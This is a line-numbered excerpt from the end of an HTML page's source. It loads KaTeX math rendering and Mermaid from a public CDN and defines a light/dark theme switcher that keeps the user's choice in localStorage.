578    <script defer src="https://cdn.jsdelivr.net/npm/katex@0.13.11/dist/katex.min.js" integrity="sha384-YNHdsYkH6gMx9y3mRkmcJ2mFUjTd0qNQQvY9VYZgQd7DcN7env35GzlmFaZ23JGp" crossorigin="anonymous"></script>
579    <script defer src="https://cdn.jsdelivr.net/npm/katex@0.13.11/dist/contrib/auto-render.min.js" integrity="sha384-vZTG03m+2yp6N6BNi5iM4rW4oIwk5DfcNdFfxkk9ZWpDriOkXX8voJBFrAO7MpVl" crossorigin="anonymous"></script>
580    <script>
581      document.addEventListener("DOMContentLoaded", function() {
582        renderMathInElement(document.body, {
583          displayMode: false,
584          // customised options
585          // • auto-render specific keys, e.g.:
586          delimiters: [
587            {left: '$$', right: '$$', display: true},
588            {left: '$', right: '$', display: false},
589          ],
590          // • rendering keys, e.g.:
591          throwOnError : true
592        });
593      });
594
595      ///
596      let theme = localStorage.getItem("theme");
597      if ((theme === "light-theme")||(theme==null)) {
598          theme = "light-theme";
599          document.getElementById("themeSwitcher").checked = false;
600      } else if (theme === "dark-theme") {
601          theme = "dark-theme";
602          document.getElementById("themeSwitcher").checked = true;
603      }
604      document.body.className = theme;
605      localStorage.setItem("theme", theme);
606
607      function switchTheme() {
608        theme = localStorage.getItem("theme");
609        if (theme === "light-theme") {
610          theme = "dark-theme";
611          document.getElementById("themeSwitcher").checked = true;
612        } else {
613          theme = "light-theme";
614          document.getElementById("themeSwitcher").checked = false;
615        }
616        document.body.className = theme;
617        localStorage.setItem("theme", theme);
618
619        console.log(theme);
620      }
621    </script>
622    <script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>
623
624
625  </body>
626</html>
627